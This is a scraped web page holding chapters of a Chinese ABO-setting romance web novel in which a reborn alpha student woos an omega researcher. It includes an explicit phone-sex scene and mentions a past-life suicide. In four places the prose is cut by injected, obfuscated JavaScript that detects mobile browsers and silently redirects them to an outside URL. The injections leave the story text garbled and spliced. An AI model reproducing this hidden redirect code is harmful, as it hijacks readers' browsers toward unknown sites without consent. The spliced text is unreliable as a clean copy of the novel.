d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185185|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和你结婚。” 他坚信真诚是唯一的必杀技,借口只会增加误会,就像他们上辈子一样:“谈决,如果我向你求婚,你会答应吗?” 他没有说喜不喜欢,也没有说为什么要结婚,那些本来计划好的,循序渐进的恋爱高招都被抛之脑后,可即便他说得那么不合时宜,谈决却还是听出了他的认真和渴望。 原骁是真的想和自己结婚。 可为什么? 因为他的脸?他的职业?还是他能给原家带来的助力? 又或者真是因为爱? 谈决心中惊涛骇浪,他想不明白,但是他永远都擅长冷静,更不会失态。 他没有同意,也没有拒绝,只是委婉地换了个话题,给两人台阶下:“你正在易感期,激素会控制你的大脑,让你情绪上头,做出冲动的决定。” 原骁:“我不是情绪上头,也不是冲动。” 他只是等不及,等不了。 他早一天和谈决结婚,就能早一点爱他,早一点弥补过去的缺憾。 他严肃保证:“谈决,我会证明给你看的。” 谈决还是那种微妙的态度,只“嗯”了一声。 在他这里,没有拒绝其实就是一种变相的纵容,而这样不合常理的纵容,从来只给过原骁一个人。 即便这样让他看起来像一个为人随便,在网上和学生撩|骚|约|炮的混蛋。 但原骁更得寸进尺,借着易感期,给点阳光就灿烂:“那我现在可以叫你老婆吗?” 谈决一僵,感觉自己的脑子也被糊了:“……随你。” 原骁终于等来了这一刻:“老婆。” 他叫完一声,又觉得不够,继续道:“老婆……老婆……老婆……” “我好想见你,我好喜欢你,我好想和你结婚。” 每字每句都像谎言,但偏偏句句都是真心。 他不敢告诉谈决自己重活了一世,也不敢告诉谈决上辈子那个让人痛苦的结局,只能一遍一遍说着喜欢,用轻浮和年轻冲动来掩盖真实的渴望。 “老婆,”到了最后,他声音渐渐哽咽起来,这是他上辈子从来不曾得到的特权,不敢宣之于口的真心,即便这个谈决什么都不知道,什么都没经历,他还是像溺水的人抓着救命稻草一样倾吐爱意,仿佛他真的被情绪冲昏了头脑一样:“……我爱你。” “你太焦虑了,原骁,”谈决没有回应对方的,只是敏锐地从他声音里听出了某种痛苦的情绪,alpha似乎压抑了太久,陷在里面出不来。 谈决是生理课老师,他知道这种时候该怎么安抚alpha,alpha应该找点事做,转移下注意力。他想了想,最后给出了最有效也中肯的建议:“……你想自||慰吗?” 原骁呆了一下,顿时从前世的痛苦和悔恨中回神,低头看着自己直挺挺的反应:“……” 隔着手机屏幕,谈决却像开了上帝视角:“你已经开始了?” 被捅破这种事实在太尴尬了,原骁估计自己在谈决心里就是个猥琐的变态A,但还是实话实说:“嗯,我难受……出不来……” 但谈决显然不觉得这有什么问题,反而很有耐心。 “要我教你吗?” 11. 作业 教他? 对了,谈决现在是他的老师,最擅长教导别人。 恍惚中,原骁忽然想起上辈子那条管教项圈,那是他屈辱的来源,也是谈决最后唯一留给他的东西。 可现在他脖子上空荡荡,什么都没有。 他用耳朵贴住手机,就像omega在贴着他的耳朵说话,喉结上下滚动,声音不知不觉就哑了:“……要。” “你教我吧,谈决。” 谈决恍惚了一瞬,很快又恢复了理智,他一开口,声音一如既往地清冷,平静,带着一点点教导年轻alpha的耐心纵容。 他知道这样不对,他和原骁的交集仅仅是医院走廊的一次对视,一件外套,几天前alpha甚至为了未婚夫连夜从K市空运治疗舱回云城,而现在alpha刚被退婚,他就自告奋勇,在电话里教对方怎么度过易感期。 他忽然感觉自己智商有点不够用了。 理智在交战,他却迟迟没办法挂断电话,他对alpha狠不下心,脑子里也闪过无数度过易感期的方法,最后他终于开口:“alpha易感期会焦躁失控,大部分都是渴望伴侣,缺乏安全感造成的……你现在在什么地方?” 的确是很学术的教导方式,原骁总觉得自己在上课,再听两句就要阳|痿了:“公寓客厅,沙发旁边。” 谈决“嗯”了一声,提议:“要去浴室吗?狭小空间或许更有氛围,卧室又不太方便清理。” 原骁:“……” 他沉默了片刻,还是决定听话,转移阵地到了浴室。 关上门,外面的声音就被彻底隔绝,镜子里的alpha有些凌乱,还有些狼狈,原骁转了个身,背靠着镜子和洗手台。 谈决没有说话,四周静得出奇,他打了两支抑制剂都没办法平复,空气只剩alpha粗|重的呼吸声,他不得不继续寻求帮助:“……然后呢?” 谈决:“你太紧张了,这样对身体不好,深呼吸,把脑子放空,再慢慢安慰它……” 原骁没说话,只是认真照做。 “不要觉得羞耻,这是正常的,你已经成年了,所有alpha易感期都会做这种事。” 原骁僵了下,身体的温度又不知不觉的升高。 他不光会做这种事,他还会做更多的事,以前他生气的时候会把谈决抱进浴室,把他抵在镜子面前,逼他看着两个人紧贴的模样,原骁还会握住他的手,让他抓着管教项圈,再亲眼看着谈决被自己圈养的疯狗标记。 他的呼吸越来越重,隔着屏幕传到谈决耳朵里,他不知道alpha在想什么,但还是凭着感觉辨别alpha的状态,又适当地鼓励对方:“好,继续。” 原骁已经不用谈决教了,他只是听着omega的声音,恍恍惚惚分不清上辈子和现实。 “老婆,”他轻轻喊着谈决,比他们以往任何一次都亲密:“我还是难受……我想抱你,我还想要你的信息素。” 谈决没有否认什么,只是耐心道:“嗯,想要什么都给。” 这话极大地满足了alpha的占有欲,原骁越来越兴奋,继续得寸进尺:“老婆,把听筒离近点,我听不见你的声音。” 谈决迟疑了片刻,还是照做,原骁的要求让他有点紧张,不知不觉间他的呼吸也开始乱了,alpha听着他的声音,手上动作却不停,有时候他甚至能隔着屏幕听见一点微妙的水声。 大概过了半小时,alpha呼吸越来越重,嘴上还要得寸进尺:“老婆,我想结婚……我想要管教项圈。” 谈决意识到他快到了,只顺着他的话继续:“好,和你结婚,给你戴管教项圈。” alpha终于到了极限,闷哼一声,最后慢慢安静下来,他背靠着洗手台平复心情,却听见omega纵容的安慰:“好了,你做的很好。” 原骁看着满手的狼藉难说话,大脑慢慢冷却下来,他当然没忘自己刚才那些话,锲而不舍地追问:“……那你会和我结婚吗?” 和刚刚的试探不同,这次是清醒的,认真的,谈决没有立刻回答,只换了个话题:“四十分钟……看来你的身体很健康。” 原骁:“那你会和我结婚吗?” 谈决看了眼时间:“三点了,我明天还要早起。” 有些问题,回避就是答案,原骁不是笨蛋,当然知道对方的言外之意。 omega刚才给了他无下限的纵容,却在他结束时无声无息地收回了这种权利。 对方就是看他易感期可怜,所以才心软哄哄他,教他怎么自||慰,现在教完就不管了。 谈决确实是个合格的老师。 碰壁的感觉让原骁很挫败,但谈决刚从医院出来,身体很不好,要多休息。 “嗯,那你好好睡觉。” 他的退步让谈决松了口气,alpha易感期太热烈,也太冲动,难以招架,谈决怕自己说出同意的话,又担心拒绝原骁后对方不高兴:“晚安。” 原骁:“晚安,谈老师。” 嘟——语音挂断,原骁看了眼屏幕,通话时长一小时十五分十八秒。 易感期通常会持续好几天,不是说好就能好的,他现在舒服了点,但浑身都是汗,额头发烫,只能重新放水洗澡。 十分钟后,他换好睡衣出来,他又给自己扎了针抑制剂,回到卧室躺上床,又翻出和谈决的聊天记录,一条一条看。 反正明天肯定没办法和谈决见面了,他得找别的机会,他计划着见面的时间和话术,又过了半小时,强效抑制剂终于发挥了功效。 倒头睡过去,再醒来就是早上十点,第一件事就是去摸床边的手机。 他给谈决发了个早安,又发了个人畜无害的表情包,这才退出来。 宋锦很讲义气地问他想不想吃东西。 原骁状态已经稳定了很多,但还是没办法见人,易感期信息素失控,他的信息素等级又高,无形中就会冒犯很多人。 好在今天周六,他不用费心请假和社交,宋锦闲在宿舍打游戏,他把外卖点到楼下,让宋锦帮忙送上来。 谈决说要早起,但一直没有回复消息,估计是在忙,等他十二点拿到外卖,对面还是没动静。 他把外卖摆开,拍了张照片,继续骚|扰谈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185186|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决。 【图片】 【谈老师,你吃饭了吗?】 天一亮,他又不敢乱叫老婆了。 等了十分钟谈决也没回消息,他没了戏唱,只能吃东西。 吃完东西他又扎了针抑制剂,开始写报告。 U大的学业并不轻松,大二下学期刚开学,事情就多了起来,除了兼顾本专业的课程,还有特战班的任务,班里每个学生每周都要报备健康状况,包括但不限于发情期,易感期,是否感冒发烧一类。 报备完,他又开始写高数作业,整整六道证明大题,题目简短,但全是符号,乍一看像英语,原骁写了四道就心烦,掏出手机拍了张照片发给谈决,又玩了会儿消消乐,最后才耐着性子把剩下两道写完。 写完高数他终于能松口气,他书包不在公寓,得找宋锦对答案,打开聊天软件一看,谈决居然回他了! 他精神一振,点开手机,发现对方回复了他写作业的那张图片。 是他刚才随手发过去的高数作业照片,他点开,发现第三题被打了个鲜红的叉,算错的地方圈了出来。 【思路没错,但你内层导数漏乘了。】 【一步错步步错,下次细心点。】 原骁:“……” 原骁发了七八条消息,谈决只回了他这一条。 他本意只是想和对方说说话,分享下生活,再借此拉进距离,但看着那个鲜红的叉,但还是感觉受到了重创。 不管是上辈子还是这辈子,谈决都很重视他的研究,那既是一份责任,也是一份热爱,也正这种坚定的人格魅力,谈决很快就吸引很多志同道合的人。 最艰难的时候,联盟一个月内有八名同事感染了腺体萎缩症,甚至连医学部长也因为感染抢救无效死亡,为了集中资源,为0218的研究开道,谈决空降了联盟医学部长,用半个月时间整合了研究所和医学部的人手和资源,带领团队没日没夜地加班工作。 他就是那种只是站在那里就会闪耀着光辉的天才,像太阳一样吸引其他人靠近他,拥护他,同理的,只有聪明上进的天才才能得到谈决的关注。 原骁很显然不是那种天才,人家谈决十四岁就上大学,他十九岁还能算错微积分。 他就算再学十九年,也达不到谈决的十分之一,他天生就不是那块料。 他趴在桌上打字。 【我是不是很笨啊,这么简单的题都算不对。】 【我感觉自己根本配不上你。】 还好上辈子他们没孩子,不然孩子生下来也会被他拉低智商。 又过了二十分钟,谈决终于回消息了。 【没有,你只是不认真,不是不聪明。】 原骁对此持怀疑态度。 【你不用安慰我,我知道自己什么水平。】 谈决那边似乎在想措辞,过了半天才认真道。 【人的精力是有限的,我只把精力放在一件事上,所以看起来比较聪明。】 【但你把精力花在了很多地方,发展更全面。】 【你还年轻,像你这样的alpha后劲都很大的。】 12. 死缠烂打 虽然知道谈决是好心安慰自己,原骁还是很受用,毕竟谈决夸他年轻还全面发展。 虽然他比不上谈决聪明,但他会死缠烂打。 他看谈决回消息总是断断续续,觉得这人估计不方便打字,提议道。 【方便打电话吗?】 等了三分钟,谈决那边回了个“嗯”。 谈决又没有拒绝。 原骁一阵狂喜,想也不想就拨了电话过去。 很快谈决就接了电话:“喂。” 电话那头的背景音有些吵闹,有机器收银的滴滴声,原骁一愣:“你在外面?” 谈决:“嗯,刚下班,家里没吃的了,来超市采购。” “刚下班?”今天是周末,谈决刚感染腺体萎缩症,又出现信息素紊乱,按理说应该在家好好休息,原骁立马想起谈决上辈子的不良作息:“那你中午饭吃了吗?” 他跟查岗一样,谈决莫名有点心虚:“今天有个实验收尾,我要看着,没来得及吃。” 原骁心说果然,又眯着眼睛问:“那你在超市采购了什么?不会是泡面吧?” 刚从货架上拿下两大包不同口味泡面的谈决:“……” alpha像在他身上装监控了一样,还要数落他:“少吃这些不健康的东西。” 谈决虽然挑食,还有胃病,但因为经常下班很晚,来不及做饭,只能在冰箱里塞满泡面和素食。 这个人对待工作有多严谨,对待自己就有随便。 原骁又想起上辈子,短短五年,谈决抑郁、焦虑、厌食,最后营养不良患上夜盲症,全身体检也亮了红灯。 谈决不是突然崩溃的,他很早之前就有了自杀的念头,生理和心理的双重疾病、工作的压力、对许眠的愧疚……一点一点堆积起来,最后压垮了这个坚定又强大的omega。 所以现在原骁要一点一点帮他改正,越早越好。 他知道谈决不会做饭,也不喜欢一个人去餐厅,就没为难他,只提议:“这样,你把那些泡面塞回去,我给你写个清单,你照上边买。” 他原本是打算自己去买的,但易感期不方便去人多的地方,容易引起骚乱。 谈决很快就收到了alpha写在草稿纸的清单,他盯着看了一会儿,都是些海鲜蔬菜之类的生食,虽然有营养,但处理起来又麻烦又费时:“可我不会做饭……” alpha没有嘲笑他“omega怎么连饭都不会做”,只是扔开作业,三下五除二穿好衣服准备出门。 留下一句:“我会做,把你家地址给我。” 他两就在一个区,离得很近。 谈决:“……” 谈决呆了下:“你没开玩笑?” 原骁以为他担心不安全:“没关系,我随身带了抑制剂,帮你做个饭就走,顺便拿下外套。” “你确定要来?”谈决再三确认,原骁那边已经贴好抑制贴,裹上风衣戴上口罩,风风火火地出门了。 “当然要来,”alpha笑了笑:“挂了,我借个车。” “买菜去吧,老师。” 他挂断电话,却一直站在门口没动,过了一会儿,omega果然发了个地址过来。 他唇角扬了扬,下楼敲响了宋锦的房门。 宋锦正在打游戏,闻声有些烦躁回头:“谁啊?” “我,原骁。” 宋锦连忙把游戏挂机:“怎么了?出什么事了?” 谁知一开门就看见alpha全副武装,浑身上下只露双眼睛,原骁伸手:“车钥匙给我。” 宋锦愣了下:“哪辆?” 原骁:“电动车。” 云城晚上就堵车限行,开车比走路还慢,电动车已经成为两人的新宠。 宋锦:“干嘛,你要出门?” 原骁:“去给人做个饭,晚上就回来。” 宋锦也是alpha,他就没见过易感期还要出门给人做饭的,他眼神复杂地把钥匙放他手里,嘱咐他:“记得戴套。” 原骁:“……去你的。” 他懒得和这个人解释,拿了钥匙就走:“记得把高数答案发我。” alpha消失在楼梯口,宋锦耸了耸肩,继续回去打游戏。 另一边原骁正骑着电动车风驰电掣,没结婚前谈决都独居,住U大附近,骑车过去很方便。 二十分钟后,原骁终于找到了谈决的小区。 彼时谈决刚好拎着菜进门,他提前和保安通过气,alpha可以直接上楼。 他坐在客厅喝水,却有些心不在焉。 他觉得自己胆子也太大了,让一个易感期的陌生alpha来家里做饭,而在此之前他们甚至只见过一面。 alpha或许只是心血来潮,甚至只是随口一句,不一定会来,他却还是听话地放回了所有泡面,买了一堆菜回来,然后对着菜大眼瞪小眼。 但这个alpha是原骁……他的目光在某个夏天后就无数次地停驻在对方身上,他见过alpha热烈坦诚,又礼貌守信的一面,所以下意识纵容,觉得对方跟其他人不一样。 他从没想过进入原骁的生活,毕竟他们一直是两个世界的人,他只是偶尔会想起十七岁那年的夏天,alpha给他抓了一堆寄居蟹,年轻热烈的生命力几乎能灼伤人。 可现在一切都变了,从206手术室出来的那一刻,局面好像就开始不受控制,朝着他意想不到的方向发展。 就像命运在推动着他们相见,相识,再靠近。 “笃笃”,门响了,谈决忽然回神,碰掉了茶几上的水杯盖子,他连忙把盖子捡起来,深吸一口气,慢慢走到了门边,拧开了门锁。 咔——他第一眼看到的是alpha那双满含期待的眼,隐隐发亮,就算对方穿着大衣戴着口罩也无法遮掩。 原骁已经在门口刺挠半天了,生怕对方不开门,在医院里匆匆一眼,他就再也没和谈决见过。 现在omega就站在他面前,他还是一如既往喜欢穿雪白的毛衣,和记忆中一样干净,清瘦,却是真实的,鲜活的。 原骁又回忆起那个圣诞夜凌晨,谈决就穿着这样的毛衣,静静死在了书房。 他们已经很多天没见了。 他忍不住上前一步,借着口罩遮挡住表情,却又无声地红了眼眶:“……我可以抱抱你吗?” 谈决没想到开门就遇上这场面,alpha才说过不做什么,结果刚见面就要抱,他想拒绝,可对上alpha微红的眼眶,大狗一样的眼神,没说话。 于是原骁知道这是“可以”的意思,他毫不犹豫地将omega面对面抱进怀里。 这个拥抱很紧,也很温暖,久别重逢,又珍而重之。 “我好想你,谈决。” 做梦都在想。 alpha抱着谈决,把脸埋在他肩膀上,委屈又粘人,谈决脑子里空白了一瞬,心却不由软下来,他两只手没地方安放,只能无所适从地拍了拍alpha的后背。 “嗯。”易感期的alpha就是这么感性,他忍不住想。 抱了整整两分钟,alpha才平复了心情,依依不舍地松开。 他一把摘掉口罩,露出张微笑的帅脸:“白天没吃午饭,饿不饿?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185187|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 谈决:“……还好。”饿过头反而没感觉了。 原骁笑了下,从背后拿出个精美的包装盒:“给你买了蛋挞,先吃两个垫垫。” 蛋挞刚出炉,犹带余热,隔着包装都能闻到甜味。 他把蛋挞塞进谈决手里,又轻车熟路地关门脱外套,他把风衣和口罩都放在玄关,然后才转进厨房。 原骁以前也不会做饭,是婚后才学的,有段时间谈决厌食很严重,不吃食堂,不吃速食,甚至连最爱的泡面都不吃了,原骁没办法,只能在网上查食谱,搜教程,一点一点学着给谈决做。 谈决口味很刁钻,虽然酸辣生冷不忌,但油盐必须要轻,又健康又不健康的。 原骁蹲在厨房翻口袋。 他先把整只鸡用调料抹匀入味,待会直接用高压锅炖烂;接着煮上玉米和排骨,煨个清淡的骨头汤;然后去虾头虾线,直接下水白灼,用来蘸调料。 除了三道肉菜,再做一道清炒土豆丝,一道番茄炒蛋。 做完这些,他又拿出速食面煮上,电饭煲也没闲着。 谈决在客厅吃了两个蛋挞,终于还是忍受不了良心的谴责,悄悄晃到厨房围观:“需要我帮忙吗?” 他是真的不会做饭,最多帮忙洗个菜。 alpha系着围裙,后颈贴着抑制贴,越发显得肩宽腰窄,衣袖挽起来,露出年轻漂亮的手臂线条,他闻言回头,笑眯眯的:“嗯,正好有个忙要你帮。” 谈决走过去,就看见alpha把滚水里的熟红大虾捞出两个,剥了壳放碗里:“尝尝。” 谈决一愣,沾了调料塞进嘴里,鲜嫩微甜的虾肉裹上调料,不咸也不腥,味道刚刚好。 alpha目不转睛看着他,像是等他夸奖似的:“好吃吗?” 扑通、扑通、厨房里都是滚水声,alpha简直是个天才,短短半小时就把这个安静的家装得满满当当,谈决回视着alpha,心却漏跳了一拍:“嗯。” “不过做这么多两个人能吃完吗?” 这些分量够他吃两天。 原骁笑了笑,下意识去揽omega的腰,中途又收了回来,他指了指涂满料的整鸡:“这是明天的,炖好给你装饭盒里,中午用微波炉热一下就能吃。” 谈决又一愣:“不用那么麻烦……研究所有食堂的。” “你又不吃饭,食堂有什么用?还是我来开小灶比较好。” 原骁说完,又把水里的大虾捞起来,谈决看着他熟练的动作,却不知想到什么:“你厨艺这么好,很让人意外。” 原骁:“技多不压身,现在omega那么难追,再没点特长就只能单身一辈子了。” 谈决笑了笑,别的alpha说这种话他或许真会信,但原骁这种有钱有势还长得帅的alpha会一辈子单身才真见鬼了。 “你对所有omega都这样吗?” 原骁:“哪样?” 谈决想了想:“嘴甜,体贴,温柔……像情场老手。” 情场老手? “怎么可能?”原骁觉得自己受到了严重污蔑,必须为自己正名:“我连恋爱都没谈过,现在都还是处男,连初吻都还在呢!” 他现在回到十九岁,这么说也没毛病。 谈决没想到他这么坦诚,愣了下:“这些话你又对多少人说过?” 原骁:“只有你一个,真的,我又没那么闲。” 他越说这种话谈决就越不相信,omega站在厨房门口,狐疑地打量着他,alpha察觉到他的质疑,又小声补充了一句:“真的。” “我只对老婆这样的。” 13. 家庭煮A “老婆”两个字像在alpha喉咙里滚过,又轻又心虚,原骁说完还特意看了看谈决的脸色,见对方没有反感,才略微松了口气。 虽然谈决上辈子是他老婆,但这辈子不是。 谈决站在原地,表情没什么变化,心却已经不受控地乱跳起来,他想起昨晚,alpha易感期不舒服,在电话那边不停地叫老婆。 很难有omega能抗拒这样的alpha,帅气多金,在学校里万人瞩目,但会贴着抑制贴来家里做饭,会粘人,还会撒娇。 谈决越想越觉得这是针对自己的陷阱,虽然不知道alpha图什么,但他还是点破了两人的关系:“……可我不是你老婆。” 他们甚至连情侣都不是。 alpha听完,果然有点失落地擦了擦锅铲:“不好意思,让你不舒服了。” 谈决正想安慰他几句,就听alpha继续补充。 “是我太想让你当老婆了,对不起。” 谈决:“……” 情话张口就来,谈决现在可以确定这人不是玩咖就是傻,要么是故意来钓自己,要么就是脑子不太好。 被动的感觉让他很不舒服,alpha虽然装得委屈听话,却在无形中强势地侵占他的边界,从医院里的一件外套,再到一个电话,然后是他的厨房。 十九岁的年轻alpha,连数学题都能写错,却让人难以招架。 意识到这种微妙的错位,谈决很快就清醒过来,被alpha推着走就永远没办法得到主动权。他笑了下,眼瞳乌黑泛着亮光,衬得他皮肤越发白皙,漂亮的五官配上内敛的气质,让他整个人都像水墨画一样清隽分明。 “那你可能要和我结婚才行,我不随便给人当老婆的。” 原骁耳朵立马竖起来,像打了鸡血似的:“真的吗?什么时候结?” 谈决注视着他,却没说话,他看见alpha穿着围裙现在原地,于是默不作声地靠近,原骁背靠着灶台,还以为对方要亲上来,下意识倾身想扶对方的腰,谁知还没搂到,omega就伸手,认认真真把他围裙领口翻折的小角翻回来,说出来的话却冷酷无情:“……我好像还没同意当你老婆。” 他退开,原骁伸出的手悬在空中,什么都没搂到,对上alpha怔愣的神情,他轻声道:“你是笨蛋吗?” 原骁:“……” 浅淡的白山茶信息素像一把小小的钩子,突然靠近又转瞬即逝,原骁呆呆地看着谈决,看着omega唇边那一点点兴味的笑意,像小狐狸一样狡黠。 omega在逗他。 察觉到对方的意图,他的心也扑通扑通跳了两下。 上辈子的谈决从来不逗他。 他们之间夹杂着许眠的死,强制匹配和管教项圈,所以谈决从一开始就带着愧疚面对这场婚姻。他没办法面对alpha的恨意,因为事情已经发生,原骁的未婚夫已经死去,再怎么解释都是徒劳。 强烈的自尊让他无法低头,最后只能用冷漠将自己包裹起来,装作公事公办,漠不关心。 这些都是唐溯舟亲口告诉原骁的,这位心理医生曾经劝过谈决无数次,让他尝试打开心结,尝试坦诚,尝试和原骁亲近,可谈决至死都戴着那副冷漠的伪装。 而现在omega笑着问他是不是笨蛋,原骁感觉脑子里都在放烟花,噼里啪啦的。 糟糕,糟糕,他老婆连骂笨蛋都这么性感。 他的脸慢慢红了,青涩地像情窦初开的高中生,要不是出门前扎了抑制剂,现在估计又要失控:“那你会喜欢笨蛋吗?” 谈决就看着alpha从脸红到耳根,也呆了下,紧接着就是掰回一局的满意:“……看他表现。” 原骁做饭更卖力了。 虾肉一个个剥好,土豆丝清爽开胃,番茄炒鸡蛋金黄漂亮,等排骨出锅,用骨汤浇透面条,就是热腾腾的一桌。 他们这边开动,灶上还在炖鸡肉,是谈决明天的午饭。 谈决挨个尝了尝,味道都意外的好,没有不符合他口味的,且全都是下饭开胃的家常菜,很有烟火气。 原骁给他夹了两大块排骨,语重心长:“你平时工作那么忙,一定一定要好好吃饭。” 饭菜是暖的,谈决的心也慢慢暖热起来,他盯着碗里的排骨,“嗯”了一声。 原骁又道:“想吃什么就告诉我,我给你做。” 谈决愣了下:“你学业不忙吗?” 据他所知,原骁除了本专业的课程,还有特战班的任务,更不用说他还在那样的家庭,原越庭明年就要竞选联盟主席,各种商业聚会,政治社交都必不可少。就连谈决这种专心研究的人都避不开,原骁更不用说。 原骁却道:“忙是忙,但给你做饭的时间还是有的。” 谈决又道:“可我是你的老师,传出去影响不好。” 原骁能屈能伸:“那我悄悄给你做,别人问就说我找你补习。” 其实还有个更好的办法,就是他们明天周一就去民政局领证,这样他们就能同居,光明正大地谈恋爱开小灶,但谈决工作和身份摆在那里,要考虑很多,谈决如果不愿意,原骁也不会说什么。 反正谈决能好好吃饭就行,健康第一,结婚第二。 谈决果然陷入了沉思:“……我考虑一下。” 他还没迟钝到那种地步,同意原骁给他做饭,也就变相同意了两个人的关系,虽然这段时间的相处让他很心动,但还是缺乏和学生谈恋爱的准备。 “嗯,你慢慢考虑,我不急。”alpha十分善解人意。 吃完饭,原骁又抢着把碗刷了,等鸡肉炖好,他又使唤谈决把饭盒拿出来,给他装了满满当当的午餐放冰箱里,晚上九点半alpha终于忙活完,拎着厨余垃圾准备回家。 他说是来做饭,就只是热情洋溢阳光开朗地做了顿饭,谈决:“你要走了?” 原骁点点头:“嗯,我们还没谈恋爱,在你家留宿不好。” 谈决想了想,也跟着站起来:“我送你。” “不用,我的坐骑就在楼下,骑上十分钟就能回宿舍。” 谈决不怎么冲浪,没听懂:“坐骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185188|197004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?你骑马来的?” 马能进小区吗? 原骁愣了下,很快就笑起来:“是啊,我刚刚上楼的时候把它栓楼下吃草呢,现在估计都吃饱了。” 谈决皱起眉,有点心急:“这怎么行?前几天物业在绿化带里栽了花,吃秃了要赔钱的。” 看着谈决一本正经的模样,谈决又笑了下,笑得蔫坏,他觉得这人可爱,说什么都信:“没事,我的马可听话了,只吃草不吃花。” 谈决被他唬得一愣一愣的,毕竟有钱人的生活难以想象,说不定原骁真有什么可以持证上路的名种马坐骑:“真的吗?什么马这么听话?” 原骁从风衣口袋里掏出挂着卡通挂件的车钥匙:“爱玛。” 这车可是他和宋锦在商场挑挑拣拣半天,亲自选车衣和头盔,再亲自骑回学校的,比他车库里那些家伙还金贵。 谈决:“……” 他和原骁对视了一会儿,一言不发地关上门,坐电梯下楼,原骁连忙拎着垃圾跟上去:“……你生气了吗?” 谈决:“没有。” 原骁:“那你下楼干嘛?” 谈决面不改色:“我下楼看看你的坐骑。” 原骁也不知道他怎么突然有兴趣看自己的电动车,也跟着到楼下,就看见一辆颜色粉嫩,装饰可爱的电动车孤零零地停在一堆大G大奔中间,还十分狂妄地占了个停车位。 谈决有点不能理解这个颜色:“这是你的车?” 原骁把垃圾扔了,折过头:“是啊,怎么了?” 准确来说是他和宋锦的。 谈决沉默了一会儿,发现了什么:“原来你喜欢粉色……” 原骁觉得他误会了什么,立马解释:“车衣是宋锦选的,他就喜欢这个颜色,说看着可爱。” 谈决还是第一次从他嘴里听见这个名字,本能地有点不舒服:“宋锦?同学吗?” 喜欢这个粉嫩配色的电动车,omega吗? 原骁点点头:“我发小,他是alpha,也是特战班的。” 听见是alpha,谈决脸色微不可查地缓和了些:“噢,那他还挺有少女心。” 三月份的云城刚开始升温,晚上太阳落山后还是有点冷,谈决只穿了件毛衣,原骁担心他着凉:“我要走了,你快上去吧。” “饭盒在冰箱第二层,明天上班记得带,微波炉加热五分钟就能吃。” 他像个操心的保姆,事无巨细地交代,谈决站在风中听着,却不觉得烦人,天已经很晚了,他看着漆黑的天空,忽然鬼使神差地开口:“想在我家住一晚吗?” 话一出口两个人都愣住了,他后知后觉,又补充:“你可以睡客卧。” 就当还谈决这顿饭。 alpha果然受宠若惊地看着他,眼睛越来越亮,又慢慢熄下去:“……不用了。” 谈决没想到他会拒绝:“为什么?” 原骁低头拨了拨电动车钥匙上的玩偶,说出来的话却一点也不矜持:“……我还在易感期,定力不太好。” “我怕吓到你。” 14. 可怜.jpg 原骁表现得太镇定,导致谈决都忘了对方还在易感期,他盯着alpha拨弄钥匙扣的手指,刻意忽略了那句“定力不太好”,好半天才“噢”了一声。 “那你路上小心。” 原骁又得寸进尺:“那走之前你能抱我一下吗?” alpha好像很喜欢拥抱,就像刚见面在玄关时那样,没有暧昧的暗示,也不耍小聪明,更像对待久别重逢的朋友,谈决也不吝啬:“……可以。” 他上前搂住alpha,原骁浑身都僵了下,但很快又回过神来,他隔着毛衣搂住谈决的肩背,无意中碰到对方凸起的蝴蝶骨,还有微凉的毛衣。 还是太瘦了,他在心里说。 他悄悄蹭了蹭omega的肩膀,然后才松开,顺便把胳膊上的外套搭在谈决肩上:“回去吧,别着凉了。” 他今天就是来拿外套的,现在临走又把外套给谈决,后者想拒绝:“……不用。” 原骁却不接,自顾自上车:“你穿着吧,不然下次我都找不到借口来你家。” “拜拜。” 粉色电动车乘着风无声无息地离开了小区,谈决站在原地,外套上有干净清爽的洗衣粉香,是他前天刚洗的,因为拥抱过,身上还带着一点点alpha身上的温度。 呼——风一吹,就什么都散了,谈决后知后觉感觉到寒凉,一只手轻轻抓住有些宽大的外套,目光却投向alpha消失的方向,不知道在想什么。 良久,他终于转身上楼。 原骁的易感期会持续三天,第一天和第二天反应最大,第三天只要贴上抑制贴,收好信息素就能正常社交和生活。 他在公寓度过了一个安分守己的周末,周一又容光焕发地去上学了。 开学第三周,选课基本已经定下来,原骁学的经济,虽然不比工科忙碌,但有数不尽的商赛和小组作业,每学期都有十几个小组作业群,偶尔还要吵架扯皮。 时间长了原骁就在同班找了固定的小组作业搭子,效率很高,但是周一刚上课,他们小组就出了问题。 